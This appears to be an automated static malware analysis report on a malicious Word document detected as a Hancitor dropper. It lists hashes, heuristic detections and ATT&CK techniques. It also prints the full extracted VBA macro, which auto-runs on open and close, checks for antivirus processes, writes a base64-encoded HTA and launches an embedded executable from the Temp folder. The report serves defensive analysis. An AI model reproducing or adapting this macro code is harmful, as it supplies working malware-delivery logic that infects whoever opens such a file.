Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b901e2d669725077…

MALICIOUS

Office (OLE)

224.0 KB Created: 2018-09-20 14:06:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: dcebac428a56b42efac5f53b814ee467 SHA-1: b2260129968b1e127237afae09415e59107a81a4 SHA-256: b901e2d669725077dec1b0750d54a0ff55cb3950012fa7e4a4fc416e79f6f1ed
938 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

This malicious Word document exploits CVE-2007-3899, a memory corruption vulnerability, to execute arbitrary code. The Document_Open macro uses WScript.Shell and WMI to launch an embedded executable, 'embedded_office_00019666.exe', and attempts to save the document as an XML document before quitting the application. The embedded executable is likely a downloader or dropper for further malicious activity, as indicated by the ClamAV detection of 'Doc.Dropper.Hancitor-6774061-0'.

Heuristics 23

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Hancitor-6774061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Hancitor-6774061-0
  • XOR-encoded strings (key 0x19) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0x19: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly hidden — these bytes score as data, not coherent x86 code (7/11 branch targets land on an instruction boundary (64% coherence)).
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Open Environ("Temp") & "\1.hta" For Output As #1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5894 bytes
SHA-256: c5941351e683679c676be2478e64a11b9c108b1d81382661a4e2b0e28d56aad5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next


Call kfs
    


Call sdfsdf

 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13

  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub

Private Sub Document_Close()
Call closee

End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function

Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub

Attribute VB_Name = "Module2"
Sub closee()


Dim kjfaa

kjfaa = "bd" & "agent.exe"

Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Set vcxvxczcv = GetObject("wi" & "nmgmts:")
Dim gfdfsfsfs
Set yrtfdsad = vcxvxczcv.ExecQuery("SELECT * FROM Win32_Process")
Dim hdffsdfs
For Each x In yrtfdsad
Set wsh = VBA.CreateObject("WScript.Shell")
Dim pipec As Boolean: pipec = True


 If x.Name = kjfaa Then
 Dim kk
 kk = StrConv(DecodeBase64("IFdJTkRPV1NUQVRFPSJub3JtYWwiPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQogICAgDQogICAgICAgIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCiAgICAgICAgV3NoU2hlbGwuUnVuKCI2LmV4ZSIsIDEsIGZhbHNlKTsNCiAgICAgICAgDQogICAgPC9zY3JpcHQ+DQogPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPg0KICAgICAgICAgIFdpbmRvdy5DbG9zZQ0KICAgICA8L1NDUklQVD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+DQo="), vbUnicode)
 
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, kk
  Close #1
  
ChDir Environ("Temp")
wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
    
   
    If x.Name = "PSUAMain.exe" Then

  Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
   
       If x.Name = "n360.exe" Then

  Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
Next


Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYucGlm"), vbUnicode), vbHide


End Sub


Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function



Attribute VB_Name = "Module3"
Sub kfs()
Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
 Selection.MoveRight Unit:=wdCharacter, Count:=24
    Selection.TypeBackspace
        Selection.Copy

End Sub

Attribute VB_Name = "Module4"

Sub sdfsdf()

Dim kk, lll, jgf, tyretw
jgf = "x" & "e"

tyretw = jgf & "p" & "i" & "f"
kk = ".p" & "if"
lll = "6" & ".e"
ChDir Environ("Temp")
Selection.TypeBackspace

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")


FSO.copyfile Source:="5C" & kk, Destination:=lll & jgf
FSO.copyfile Source:="5C" & kk, Destination:="6" & UserForm1.TextBox1.Text
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function



Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{8643B47F-956E-460D-A0B3-69F1299B855F}{82A2A443-3F28-49B9-A2F1-18AF1CA0D4D5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{55D5D855-76B4-468B-85B6-03BB8D13296A}{CA5F3E39-36F6-4765-AFD5-30D15F4A71BF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
embedded_office_00019666.exe embedded-pe Office MZ+PE at offset 0x19666 125338 bytes
SHA-256: fa2c46c3809f283d2fe2103960f6046b871d786dd001d529edda1cef81b0bd12
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1598968364/Ole10Native 78612 bytes
SHA-256: 4ea033564d32855d41338fd195e4ae89a1683d9c570cff376672365fbd8347b9
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1598968364/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 78336 bytes
SHA-256: 8ed2a8f1e37e021aa1b99b974ab4872ebba5846238be6af9a53c223403252919

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